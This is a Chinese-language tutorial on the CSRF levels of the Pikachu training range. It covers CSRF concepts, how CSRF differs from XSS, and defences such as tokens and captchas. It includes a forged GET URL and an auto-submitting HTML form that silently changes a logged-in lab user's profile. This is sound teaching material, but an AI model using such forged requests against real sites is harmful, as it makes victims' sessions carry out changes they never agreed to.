pikachu靶場 :三、CSRF 跨站請求僞造

pikachu靶場 :三、CSRF 跨站請求僞造

CSRF 概述

Cross-site request forgery 簡稱爲“CSRF”,在CSRF的攻擊場景中攻擊者會僞造一個請求(這個請求一般是一個鏈接),然後欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊就完成了。
所以CSRF攻擊也成爲"one click"攻擊。
很多人搞不清楚CSRF的概念,甚至有時候會將其和XSS混淆,更有甚者會將其和越權問題混爲一談,這都是對原理沒搞清楚導致的。

這裏列舉一個場景解釋一下,希望能夠幫助你理解。

場景需求:
小黑想要修改大白在購物網站tianxiewww.xx.com上填寫的會員地址。

先看下大白是如何修改自己的密碼的:
登錄—修改會員信息,提交請求—修改成功。
所以小黑想要修改大白的信息,他需要擁有:1,登錄權限 2,修改個人信息的請求。
但是大白又不會把自己xxx網站的賬號密碼告訴小黑,那小黑怎麼辦?
於是他自己跑到www.xx.com上註冊了一個自己的賬號,然後修改了一下自己的個人信息(比如:E-mail地址),他發現修改的請求是:
【http://www.xxx.com/[email protected]&Change=Change】
於是,他實施了這樣一個操作:把這個鏈接僞裝一下,在小白登錄xxx網站後,欺騙他進行點擊,小白點擊這個鏈接後,個人信息就被修改了,小黑就完成了攻擊目的。

爲啥小黑的操作能夠實現呢。有如下幾個關鍵點:

1.www.xxx.com這個網站在用戶修改個人的信息時沒有過多的校驗,導致這個請求容易被僞造;
因此,我們判斷一個網站是否存在CSRF漏洞,其實就是判斷其對關鍵信息(比如密碼等敏感信息)的操作(增刪改)是否容易被僞造。

2.小白點擊了小黑髮給的鏈接,並且這個時候小白剛好登錄在購物網上;
—如果小白安全意識高,不點擊不明鏈接,則攻擊不會成功,又或者即使小白點擊了鏈接,但小白此時並沒有登錄購物網站,也不會成功。
因此,要成功實施一次CSRF攻擊,需要“天時,地利,人和”的條件。

當然,如果小黑事先在xxx網的首頁如果發現了一個XSS漏洞,則小黑可能會這樣做: 欺騙小白訪問埋伏了XSS腳本(盜取cookie的腳本)的頁面,小白中招,小黑拿到小白的cookie,然後小黑順利登錄到小白的後臺,小黑自己修改小白的相關信息。

—所以跟上面比一下,就可以看出CSRF與XSS的區別:CSRF是借用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限,而XSS是直接盜取到了用戶的權限,然後實施破壞。

因此,網站如果要防止CSRF攻擊,則需要對敏感信息的操作實施對應的安全措施,防止這些操作出現被僞造的情況,從而導致CSRF。比如:

  1. 對敏感信息的操作增加安全的token;
  2. 對敏感信息的操作增加安全的驗證碼;
  3. 對敏感信息的操作實施安全的邏輯流程,比如修改密碼時,需要先校驗舊密碼等。

如果你沒有讀太明白,不要猶豫,請再讀一遍啦

CSRF(get)

使用靶場提供的用戶vince/allen/kobe/grady/kevin/lucy/lili登錄,密碼是123456。
在這裏插入圖片描述
進入到個人中心,在這裏可以修改信息。
在這裏插入圖片描述
點擊修改信息,使用burp抓包,可以看到各個參數以get參數傳遞,而且沒有token。
在這裏插入圖片描述
對國家參數進行修改,例如改成USA,lucy一點擊就修改了地址。

https://www.bihuoedu.com/vul/csrf/csrfget/csrf_get_login.php?sex=girl&phonenum=12345678922&add=USA&email=lucy%40pikachu.com&submit=submit

CSRF(post)

如果是POST型的,所有參數在請求體中提交,我們不能通過僞造URL的方式進行攻擊。

這裏的攻擊方式跟XSS中POST類型是一樣的,攻擊者可以搭建一個站點,在站點上做一個表單,誘導lucy點擊這個鏈接,當用戶點擊時,就會自動向存在CSRF的服務器提交POST請求修改個人信息。

可以在本地上編寫一個html文件

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="[email protected]" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

將自己的html文件地址發給受害者就會自動修改信息

CSRF Token

抓包,看到有token參數。
token:隨機碼,每次請求,都增加一個隨機碼,後臺每次對這個隨機碼進行驗證
在這裏插入圖片描述
跟前面比較,這裏多了一個Token,如果後臺對提交的Token進行了驗證,由於Token是隨機的,我們就無法僞造URL了

看下控制檯源碼,看下這個表單,每次點擊修改個人信息 都會去訪問 token_get_edit_.php 這個文件,這個文件就會生成一個token,
value就是後端發過來的,type是隱藏的額,在前端看不到,但是在源碼中能看到。

每次點提交,token也會被提交到後臺,後臺會對token進行驗證,如果和當前session裏面的token相等,纔會讓你提交。

發佈了198 篇原創文章 · 獲贊 27 · 訪問量 1萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章